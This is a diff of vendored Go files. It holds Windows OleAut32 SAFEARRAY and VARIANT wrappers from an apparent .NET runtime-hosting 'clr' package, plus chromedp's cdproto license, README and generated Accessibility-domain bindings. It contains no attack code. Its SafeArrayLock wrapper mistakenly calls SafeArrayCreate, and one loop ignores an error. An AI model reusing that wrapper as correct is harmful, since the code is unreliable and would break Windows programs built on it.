// SAFEARRAYBOUND *rgsabound
|
||||
// );
|
||||
// Varient types: https://docs.microsoft.com/en-us/windows/win32/api/wtypes/ne-wtypes-varenum
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraycreate
|
||||
func SafeArrayCreate(vt uint16, cDims uint32, rgsabound *SafeArrayBound) (safeArray *SafeArray, err error) {
|
||||
debugPrint("Entering into safearray.SafeArrayCreate()...")
|
||||
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
procSafeArrayCreate := modOleAuto.MustFindProc("SafeArrayCreate")
|
||||
|
||||
ret, _, err := procSafeArrayCreate.Call(
|
||||
uintptr(vt),
|
||||
uintptr(cDims),
|
||||
uintptr(unsafe.Pointer(rgsabound)),
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
|
||||
if ret == 0 {
|
||||
err = fmt.Errorf("the OleAut32!SafeArrayCreate function return 0x%x and the SafeArray was not created", ret)
|
||||
return
|
||||
}
|
||||
|
||||
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
|
||||
safeArray = (*SafeArray)(unsafe.Pointer(ret))
|
||||
return
|
||||
}
|
||||
|
||||
// SysAllocString converts a Go string to a BTSR string, that is a unicode string prefixed with its length.
|
||||
// Allocates a new string and copies the passed string into it.
|
||||
// It returns a pointer to the string's content.
|
||||
// BSTR SysAllocString(
|
||||
// const OLECHAR *psz
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-sysallocstring
|
||||
func SysAllocString(str string) (unsafe.Pointer, error) {
|
||||
debugPrint("Entering into safearray.SysAllocString()...")
|
||||
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
sysAllocString := modOleAuto.MustFindProc("SysAllocString")
|
||||
|
||||
input := utf16Le(str)
|
||||
ret, _, err := sysAllocString.Call(
|
||||
uintptr(unsafe.Pointer(&input[0])),
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return nil, err
|
||||
}
|
||||
// TODO Return a pointer to a BSTR instead of an unsafe.Pointer
|
||||
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
|
||||
return unsafe.Pointer(ret), nil
|
||||
}
|
||||
|
||||
// SafeArrayPutElement pushes an element to the safe array at a given index
|
||||
// HRESULT SafeArrayPutElement(
|
||||
// SAFEARRAY *psa,
|
||||
// LONG *rgIndices,
|
||||
// void *pv
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearrayputelement
|
||||
func SafeArrayPutElement(psa *SafeArray, rgIndices int32, pv unsafe.Pointer) error {
|
||||
debugPrint("Entering into safearray.SafeArrayPutElement()...")
|
||||
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
safeArrayPutElement := modOleAuto.MustFindProc("SafeArrayPutElement")
|
||||
|
||||
hr, _, err := safeArrayPutElement.Call(
|
||||
uintptr(unsafe.Pointer(psa)),
|
||||
uintptr(unsafe.Pointer(&rgIndices)),
|
||||
uintptr(pv),
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return err
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the OleAut32!SafeArrayPutElement call returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// SafeArrayLock increments the lock count of an array, and places a pointer to the array data in pvData of the array descriptor
|
||||
// HRESULT SafeArrayLock(
|
||||
// SAFEARRAY *psa
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraylock
|
||||
func SafeArrayLock(psa *SafeArray) error {
|
||||
debugPrint("Entering into safearray.SafeArrayLock()...")
|
||||
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
safeArrayCreate := modOleAuto.MustFindProc("SafeArrayCreate")
|
||||
|
||||
hr, _, err := safeArrayCreate.Call(uintptr(unsafe.Pointer(psa)))
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return err
|
||||
}
|
||||
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the OleAut32!SafeArrayCreate function returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// SafeArrayGetVartype gets the VARTYPE stored in the specified safe array
|
||||
// HRESULT SafeArrayGetVartype(
|
||||
// SAFEARRAY *psa,
|
||||
// VARTYPE *pvt
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraygetvartype
|
||||
func SafeArrayGetVartype(psa *SafeArray) (uint16, error) {
|
||||
debugPrint("Entering into safearray.SafeArrayGetVartype()...")
|
||||
|
||||
var vt uint16
|
||||
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
safeArrayGetVartype := modOleAuto.MustFindProc("SafeArrayGetVartype")
|
||||
|
||||
hr, _, err := safeArrayGetVartype.Call(
|
||||
uintptr(unsafe.Pointer(psa)),
|
||||
uintptr(unsafe.Pointer(&vt)),
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return 0, err
|
||||
}
|
||||
if hr != S_OK {
|
||||
return 0, fmt.Errorf("the OleAut32!SafeArrayGetVartype function returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return vt, nil
|
||||
}
|
||||
|
||||
// SafeArrayAccessData increments the lock count of an array, and retrieves a pointer to the array data
|
||||
// HRESULT SafeArrayAccessData(
|
||||
// SAFEARRAY *psa,
|
||||
// void HUGEP **ppvData
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearrayaccessdata
|
||||
func SafeArrayAccessData(psa *SafeArray) (*uintptr, error) {
|
||||
debugPrint("Entering into safearray.SafeArrayAccessData()...")
|
||||
|
||||
var ppvData *uintptr
|
||||
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
safeArrayAccessData := modOleAuto.MustFindProc("SafeArrayAccessData")
|
||||
|
||||
hr, _, err := safeArrayAccessData.Call(
|
||||
uintptr(unsafe.Pointer(psa)),
|
||||
uintptr(unsafe.Pointer(&ppvData)),
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return nil, err
|
||||
}
|
||||
if hr != S_OK {
|
||||
return nil, fmt.Errorf("the oleaut32!SafeArrayAccessData function returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return ppvData, nil
|
||||
}
|
||||
|
||||
// SafeArrayGetLBound gets the lower bound for any dimension of the specified safe array
|
||||
// HRESULT SafeArrayGetLBound(
|
||||
// SAFEARRAY *psa,
|
||||
// UINT nDim,
|
||||
// LONG *plLbound
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraygetlbound
|
||||
func SafeArrayGetLBound(psa *SafeArray, nDim uint32) (uint32, error) {
|
||||
debugPrint("Entering into safearray.SafeArrayGetLBound()...")
|
||||
var plLbound uint32
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
safeArrayGetLBound := modOleAuto.MustFindProc("SafeArrayGetLBound")
|
||||
|
||||
hr, _, err := safeArrayGetLBound.Call(
|
||||
uintptr(unsafe.Pointer(psa)),
|
||||
uintptr(nDim),
|
||||
uintptr(unsafe.Pointer(&plLbound)),
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return 0, err
|
||||
}
|
||||
if hr != S_OK {
|
||||
return 0, fmt.Errorf("the oleaut32!SafeArrayGetLBound function returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return plLbound, nil
|
||||
}
|
||||
|
||||
// SafeArrayGetUBound gets the upper bound for any dimension of the specified safe array
|
||||
// HRESULT SafeArrayGetUBound(
|
||||
// SAFEARRAY *psa,
|
||||
// UINT nDim,
|
||||
// LONG *plUbound
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraygetubound
|
||||
func SafeArrayGetUBound(psa *SafeArray, nDim uint32) (uint32, error) {
|
||||
debugPrint("Entering into safearray.SafeArrayGetUBound()...")
|
||||
|
||||
var plUbound uint32
|
||||
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
safeArrayGetUBound := modOleAuto.MustFindProc("SafeArrayGetUBound")
|
||||
|
||||
hr, _, err := safeArrayGetUBound.Call(
|
||||
uintptr(unsafe.Pointer(psa)),
|
||||
uintptr(nDim),
|
||||
uintptr(unsafe.Pointer(&plUbound)),
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return 0, err
|
||||
}
|
||||
if hr != S_OK {
|
||||
return 0, fmt.Errorf("the oleaut32!SafeArrayGetUBound function returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return plUbound, nil
|
||||
}
|
||||
|
||||
// SafeArrayDestroy Destroys an existing array descriptor and all of the data in the array.
|
||||
// If objects are stored in the array, Release is called on each object in the array.
|
||||
// HRESULT SafeArrayDestroy(
|
||||
// SAFEARRAY *psa
|
||||
// );
|
||||
func SafeArrayDestroy(psa *SafeArray) error {
|
||||
debugPrint("Entering into safearray.SafeArrayDestroy()...")
|
||||
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
safeArrayDestroy := modOleAuto.MustFindProc("SafeArrayDestroy")
|
||||
|
||||
hr, _, err := safeArrayDestroy.Call(
|
||||
uintptr(unsafe.Pointer(psa)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return fmt.Errorf("the oleaut32!SafeArrayDestroy function call returned an error:\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the oleaut32!SafeArrayDestroy function returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
+107
@@ -0,0 +1,107 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"log"
|
||||
"strings"
|
||||
"unicode/utf16"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/text/encoding/unicode"
|
||||
"golang.org/x/text/transform"
|
||||
)
|
||||
|
||||
var Debug = false
|
||||
|
||||
// checkOK evaluates a HRESULT code for a caller and determines if there was an error
|
||||
func checkOK(hr uintptr, caller string) error {
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("%s returned 0x%08x", caller, hr)
|
||||
} else {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// must forces the program to exit if there is an error using the log.Fatal command
|
||||
func must(err error) {
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func utf16Le(s string) []byte {
|
||||
enc := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder()
|
||||
var buf bytes.Buffer
|
||||
t := transform.NewWriter(&buf, enc)
|
||||
t.Write([]byte(s))
|
||||
return buf.Bytes()
|
||||
}
|
||||
|
||||
func expectsParams(input string) bool {
|
||||
return !strings.Contains(input, "Void Main()")
|
||||
}
|
||||
|
||||
// ReadUnicodeStr takes a pointer to a unicode string in memory and returns a string value
|
||||
func ReadUnicodeStr(ptr unsafe.Pointer) string {
|
||||
debugPrint("Entering into utils.ReadUnicodeStr()...")
|
||||
var byteVal uint16
|
||||
out := make([]uint16, 0)
|
||||
for i := 0; ; i++ {
|
||||
byteVal = *(*uint16)(unsafe.Pointer(ptr))
|
||||
if byteVal == 0x0000 {
|
||||
break
|
||||
}
|
||||
out = append(out, byteVal)
|
||||
ptr = unsafe.Pointer(uintptr(ptr) + 2)
|
||||
}
|
||||
return string(utf16.Decode(out))
|
||||
}
|
||||
|
||||
// debugPrint is used to print messages only when debug has been enabled
|
||||
func debugPrint(message string) {
|
||||
if Debug {
|
||||
fmt.Println("[DEBUG] " + message)
|
||||
}
|
||||
}
|
||||
|
||||
// PrepareParameters creates a safe array of strings (arguments) nested inside a Variant object, which is itself
|
||||
// appended to the final safe array
|
||||
func PrepareParameters(params []string) (*SafeArray, error) {
|
||||
sab := SafeArrayBound{
|
||||
cElements: uint32(len(params)),
|
||||
lLbound: 0,
|
||||
}
|
||||
listStrSafeArrayPtr, err := SafeArrayCreate(VT_BSTR, 1, &sab) // VT_BSTR
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for i, p := range params {
|
||||
bstr, err := SysAllocString(p)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
SafeArrayPutElement(listStrSafeArrayPtr, int32(i), bstr)
|
||||
}
|
||||
|
||||
paramVariant := Variant{
|
||||
VT: VT_BSTR | VT_ARRAY, // VT_BSTR | VT_ARRAY
|
||||
Val: uintptr(unsafe.Pointer(listStrSafeArrayPtr)),
|
||||
}
|
||||
|
||||
sab2 := SafeArrayBound{
|
||||
cElements: uint32(1),
|
||||
lLbound: 0,
|
||||
}
|
||||
paramsSafeArrayPtr, err := SafeArrayCreate(VT_VARIANT, 1, &sab2) // VT_VARIANT
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = SafeArrayPutElement(paramsSafeArrayPtr, int32(0), unsafe.Pointer(¶mVariant))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return paramsSafeArrayPtr, nil
|
||||
}
|
||||
+38
@@ -0,0 +1,38 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
const (
|
||||
// VT_EMPTY No value was specified. If an optional argument to an Automation method is left blank, do not
|
||||
// pass a VARIANT of type VT_EMPTY. Instead, pass a VARIANT of type VT_ERROR with a value of DISP_E_PARAMNOTFOUND.
|
||||
VT_EMPTY uint16 = 0x0000
|
||||
// VT_NULL A propagating null value was specified. (This should not be confused with the null pointer.)
|
||||
// The null value is used for tri-state logic, as with SQL.
|
||||
VT_NULL uint16 = 0x0001
|
||||
// VT_UI1 is a Variant Type of Unsigned Integer of 1-byte
|
||||
VT_UI1 uint16 = 0x0011
|
||||
// VT_UT4 is a Varriant Type of Unsigned Integer of 4-byte
|
||||
VT_UI4 uint16 = 0x0013
|
||||
// VT_BSTR is a Variant Type of BSTR, an OLE automation type for transfering length-prefixed strings
|
||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-oaut/9c5a5ce4-ff5b-45ce-b915-ada381b34ac1
|
||||
VT_BSTR uint16 = 0x0008
|
||||
// VT_VARIANT is a Variant Type of VARIANT, a container for a union that can hold many types of data
|
||||
VT_VARIANT uint16 = 0x000c
|
||||
// VT_ARRAY is a Variant Type of a SAFEARRAY
|
||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-oaut/2e87a537-9305-41c6-a88b-b79809b3703a
|
||||
VT_ARRAY uint16 = 0x2000
|
||||
)
|
||||
|
||||
// from https://github.com/go-ole/go-ole/blob/master/variant_amd64.go
|
||||
// https://docs.microsoft.com/en-us/windows/win32/winauto/variant-structure
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/ns-oaidl-variant
|
||||
// https://docs.microsoft.com/en-us/previous-versions/windows/embedded/ms891678(v=msdn.10)?redirectedfrom=MSDN
|
||||
// VARIANT Type Constants https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-oaut/3fe7db9f-5803-4dc4-9d14-5425d3f5461f
|
||||
type Variant struct {
|
||||
VT uint16 // VARTYPE
|
||||
wReserved1 uint16
|
||||
wReserved2 uint16
|
||||
wReserved3 uint16
|
||||
Val uintptr
|
||||
_ [8]byte
|
||||
}
|
||||
+2
@@ -0,0 +1,2 @@
|
||||
*.json
|
||||
*.pdl
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
The MIT License (MIT)
|
||||
|
||||
Copyright (c) 2016-2021 Kenneth Shaw
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
+29
@@ -0,0 +1,29 @@
|
||||
# About cdproto
|
||||
|
||||
Package `cdproto` contains the generated commands, types, and events for the
|
||||
[Chrome DevTools Protocol domains][devtools-protocol].
|
||||
|
||||
[![Unit Tests][cdproto-ci-status]][cdproto-ci]
|
||||
[![Go Reference][goref-cdproto-status]][goref-cdproto]
|
||||
|
||||
This package is generated by the [`cdproto-gen`][cdproto-gen] command. Please
|
||||
refer to that project and to the main [`chromedp`][chromedp] project for
|
||||
information on using the commands, types, and events available here.
|
||||
|
||||
## API
|
||||
|
||||
Please see the [Go Reference][goref-cdproto].
|
||||
|
||||
## Contributing
|
||||
|
||||
If you would like to submit a change to the code in this package, please submit
|
||||
your Pull Request to the [`cdproto-gen`][cdproto-gen] project. Any Issues and
|
||||
Pull Requests submitted to this project will be closed without being reviewed.
|
||||
|
||||
[cdproto-ci]: https://github.com/chromedp/cdproto/actions/workflows/build.yml (Build CI)
|
||||
[cdproto-ci-status]: https://github.com/chromedp/cdproto/actions/workflows/build.yml/badge.svg (Build CI)
|
||||
[cdproto-gen]: https://github.com/chromedp/cdproto-gen
|
||||
[chromedp]: https://github.com/chromedp/chromedp
|
||||
[devtools-protocol]: https://chromedevtools.github.io/devtools-protocol/
|
||||
[goref-cdproto]: https://pkg.go.dev/github.com/chromedp/cdproto
|
||||
[goref-cdproto-status]: https://pkg.go.dev/badge/github.com/chromedp/chromedp.svg
|
||||
+411
@@ -0,0 +1,411 @@
|
||||
// Package accessibility provides the Chrome DevTools Protocol
|
||||
// commands, types, and events for the Accessibility domain.
|
||||
//
|
||||
// Generated by the cdproto-gen command.
|
||||
package accessibility
|
||||
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/chromedp/cdproto/cdp"
|
||||
"github.com/chromedp/cdproto/runtime"
|
||||
)
|
||||
|
||||
// DisableParams disables the accessibility domain.
|
||||
type DisableParams struct{}
|
||||
|
||||
// Disable disables the accessibility domain.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#method-disable
|
||||
func Disable() *DisableParams {
|
||||
return &DisableParams{}
|
||||
}
|
||||
|
||||
// Do executes Accessibility.disable against the provided context.
|
||||
func (p *DisableParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandDisable, nil, nil)
|
||||
}
|
||||
|
||||
// EnableParams enables the accessibility domain which causes AXNodeIds to
|
||||
// remain consistent between method calls. This turns on accessibility for the
|
||||
// page, which can impact performance until accessibility is disabled.
|
||||
type EnableParams struct{}
|
||||
|
||||
// Enable enables the accessibility domain which causes AXNodeIds to remain
|
||||
// consistent between method calls. This turns on accessibility for the page,
|
||||
// which can impact performance until accessibility is disabled.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#method-enable
|
||||
func Enable() *EnableParams {
|
||||
return &EnableParams{}
|
||||
}
|
||||
|
||||
// Do executes Accessibility.enable against the provided context.
|
||||
func (p *EnableParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandEnable, nil, nil)
|
||||
}
|
||||
|
||||
// GetPartialAXTreeParams fetches the accessibility node and partial
|
||||
// accessibility tree for this DOM node, if it exists.
|
||||
type GetPartialAXTreeParams struct {
|
||||
NodeID cdp.NodeID `json:"nodeId,omitempty"` // Identifier of the node to get the partial accessibility tree for.
|
||||
BackendNodeID cdp.BackendNodeID `json:"backendNodeId,omitempty"` // Identifier of the backend node to get the partial accessibility tree for.
|
||||
ObjectID runtime.RemoteObjectID `json:"objectId,omitempty"` // JavaScript object id of the node wrapper to get the partial accessibility tree for.
|
||||
FetchRelatives bool `json:"fetchRelatives,omitempty"` // Whether to fetch this nodes ancestors, siblings and children. Defaults to true.
|
||||
}
|
||||
|
||||
// GetPartialAXTree fetches the accessibility node and partial accessibility
|
||||
// tree for this DOM node, if it exists.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#method-getPartialAXTree
|
||||
//
|
||||
// parameters:
|
||||
func GetPartialAXTree() *GetPartialAXTreeParams {
|
||||
return &GetPartialAXTreeParams{}
|
||||
}
|
||||
|
||||
// WithNodeID identifier of the node to get the partial accessibility tree
|
||||
// for.
|
||||
func (p GetPartialAXTreeParams) WithNodeID(nodeID cdp.NodeID) *GetPartialAXTreeParams {
|
||||
p.NodeID = nodeID
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithBackendNodeID identifier of the backend node to get the partial
|
||||
// accessibility tree for.
|
||||
func (p GetPartialAXTreeParams) WithBackendNodeID(backendNodeID cdp.BackendNodeID) *GetPartialAXTreeParams {
|
||||
p.BackendNodeID = backendNodeID
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithObjectID JavaScript object id of the node wrapper to get the partial
|
||||
// accessibility tree for.
|
||||
func (p GetPartialAXTreeParams) WithObjectID(objectID runtime.RemoteObjectID) *GetPartialAXTreeParams {
|
||||
p.ObjectID = objectID
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithFetchRelatives whether to fetch this nodes ancestors, siblings and
|
||||
// children. Defaults to true.
|
||||
func (p GetPartialAXTreeParams) WithFetchRelatives(fetchRelatives bool) *GetPartialAXTreeParams {
|
||||
p.FetchRelatives = fetchRelatives
|
||||
return &p
|
||||
}
|
||||
|
||||
// GetPartialAXTreeReturns return values.
|
||||
type GetPartialAXTreeReturns struct {
|
||||
Nodes []*Node `json:"nodes,omitempty"` // The Accessibility.AXNode for this DOM node, if it exists, plus its ancestors, siblings and children, if requested.
|
||||
}
|
||||
|
||||
// Do executes Accessibility.getPartialAXTree against the provided context.
|
||||
//
|
||||
// returns:
|
||||
//
|
||||
// nodes - The Accessibility.AXNode for this DOM node, if it exists, plus its ancestors, siblings and children, if requested.
|
||||
func (p *GetPartialAXTreeParams) Do(ctx context.Context) (nodes []*Node, err error) {
|
||||
// execute
|
||||
var res GetPartialAXTreeReturns
|
||||
err = cdp.Execute(ctx, CommandGetPartialAXTree, p, &res)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return res.Nodes, nil
|
||||
}
|
||||
|
||||
// GetFullAXTreeParams fetches the entire accessibility tree for the root
|
||||
// Document.
|
||||
type GetFullAXTreeParams struct {
|
||||
Depth int64 `json:"depth,omitempty"` // The maximum depth at which descendants of the root node should be retrieved. If omitted, the full tree is returned.
|
||||
FrameID cdp.FrameID `json:"frameId,omitempty"` // The frame for whose document the AX tree should be retrieved. If omitted, the root frame is used.
|
||||
}
|
||||
|
||||
// GetFullAXTree fetches the entire accessibility tree for the root Document.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#method-getFullAXTree
|
||||
//
|
||||
// parameters:
|
||||
func GetFullAXTree() *GetFullAXTreeParams {
|
||||
return &GetFullAXTreeParams{}
|
||||
}
|
||||
|
||||
// WithDepth the maximum depth at which descendants of the root node should
|
||||
// be retrieved. If omitted, the full tree is returned.
|
||||
func (p GetFullAXTreeParams) WithDepth(depth int64) *GetFullAXTreeParams {
|
||||
p.Depth = depth
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithFrameID the frame for whose document the AX tree should be retrieved.
|
||||
// If omitted, the root frame is used.
|
||||
func (p GetFullAXTreeParams) WithFrameID(frameID cdp.FrameID) *GetFullAXTreeParams {
|
||||
p.FrameID = frameID
|
||||
return &p
|
||||
}
|
||||
|
||||
// GetFullAXTreeReturns return values.
|
||||
type GetFullAXTreeReturns struct {
|
||||
Nodes []*Node `json:"nodes,omitempty"`
|
||||
}
|
||||
|
||||
// Do executes Accessibility.getFullAXTree against the provided context.
|
||||
//
|
||||
// returns:
|
||||
//
|
||||
// nodes
|
||||
func (p *GetFullAXTreeParams) Do(ctx context.Context) (nodes []*Node, err error) {
|
||||
// execute
|
||||
var res GetFullAXTreeReturns
|
||||
err = cdp.Execute(ctx, CommandGetFullAXTree, p, &res)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return res.Nodes, nil
|
||||
}
|
||||
|
||||
// GetRootAXNodeParams fetches the root node. Requires enable() to have been
|
||||
// called previously.
|
||||
type GetRootAXNodeParams struct {
|
||||
FrameID cdp.FrameID `json:"frameId,omitempty"` // The frame in whose document the node resides. If omitted, the root frame is used.
|
||||
}
|
||||
|
||||
// GetRootAXNode fetches the root node. Requires enable() to have been called
|
||||
// previously.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#method-getRootAXNode
|
||||
//
|
||||
// parameters:
|
||||
func GetRootAXNode() *GetRootAXNodeParams {
|
||||
return &GetRootAXNodeParams{}
|
||||
}
|
||||
|
||||
// WithFrameID the frame in whose document the node resides. If omitted, the
|
||||
// root frame is used.
|
||||
func (p GetRootAXNodeParams) WithFrameID(frameID cdp.FrameID) *GetRootAXNodeParams {
|
||||
p.FrameID = frameID
|
||||
return &p
|
||||
}
|
||||
|
||||
// GetRootAXNodeReturns return values.
|
||||
type GetRootAXNodeReturns struct {
|
||||
Node *Node `json:"node,omitempty"`
|
||||
}
|
||||
|
||||
// Do executes Accessibility.getRootAXNode against the provided context.
|
||||
//
|
||||
// returns:
|
||||
//
|
||||
// node
|
||||
func (p *GetRootAXNodeParams) Do(ctx context.Context) (node *Node, err error) {
|
||||
// execute
|
||||
var res GetRootAXNodeReturns
|
||||
err = cdp.Execute(ctx, CommandGetRootAXNode, p, &res)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return res.Node, nil
|
||||
}
|
||||
|
||||
// GetAXNodeAndAncestorsParams fetches a node and all ancestors up to and
|
||||
// including the root. Requires enable() to have been called previously.
|
||||
type GetAXNodeAndAncestorsParams struct {
|
||||
NodeID cdp.NodeID `json:"nodeId,omitempty"` // Identifier of the node to get.
|
||||
BackendNodeID cdp.BackendNodeID `json:"backendNodeId,omitempty"` // Identifier of the backend node to get.
|
||||
ObjectID runtime.RemoteObjectID `json:"objectId,omitempty"` // JavaScript object id of the node wrapper to get.
|
||||
}
|
||||
|
||||
// GetAXNodeAndAncestors fetches a node and all ancestors up to and including
|
||||
// the root. Requires enable() to have been called previously.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#method-getAXNodeAndAncestors
|
||||
//
|
||||
// parameters:
|
||||
func GetAXNodeAndAncestors() *GetAXNodeAndAncestorsParams {
|
||||
return &GetAXNodeAndAncestorsParams{}
|
||||
}
|
||||
|
||||
// WithNodeID identifier of the node to get.
|
||||
func (p GetAXNodeAndAncestorsParams) WithNodeID(nodeID cdp.NodeID) *GetAXNodeAndAncestorsParams {
|
||||
p.NodeID = nodeID
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithBackendNodeID identifier of the backend node to get.
|
||||
func (p GetAXNodeAndAncestorsParams) WithBackendNodeID(backendNodeID cdp.BackendNodeID) *GetAXNodeAndAncestorsParams {
|
||||
p.BackendNodeID = backendNodeID
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithObjectID JavaScript object id of the node wrapper to get.
|
||||
func (p GetAXNodeAndAncestorsParams) WithObjectID(objectID runtime.RemoteObjectID) *GetAXNodeAndAncestorsParams {
|
||||
p.ObjectID = objectID
|
||||
return &p
|
||||
}
|
||||
|
||||
// GetAXNodeAndAncestorsReturns return values.
|
||||
type GetAXNodeAndAncestorsReturns struct {
|
||||
Nodes []*Node `json:"nodes,omitempty"`
|
||||
}
|
||||
|
||||
// Do executes Accessibility.getAXNodeAndAncestors against the provided context.
|
||||
//
|
||||
// returns:
|
||||
//
|
||||
// nodes
|
||||
func (p *GetAXNodeAndAncestorsParams) Do(ctx context.Context) (nodes []*Node, err error) {
|
||||
// execute
|
||||
var res GetAXNodeAndAncestorsReturns
|
||||
err = cdp.Execute(ctx, CommandGetAXNodeAndAncestors, p, &res)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return res.Nodes, nil
|
||||
}
|
||||
|
||||
// GetChildAXNodesParams fetches a particular accessibility node by AXNodeId.
|
||||
// Requires enable() to have been called previously.
|
||||
type GetChildAXNodesParams struct {
|
||||
ID NodeID `json:"id"`
|
||||
FrameID cdp.FrameID `json:"frameId,omitempty"` // The frame in whose document the node resides. If omitted, the root frame is used.
|
||||
}
|
||||
|
||||
// GetChildAXNodes fetches a particular accessibility node by AXNodeId.
|
||||
// Requires enable() to have been called previously.
|
||||
//
|
||||
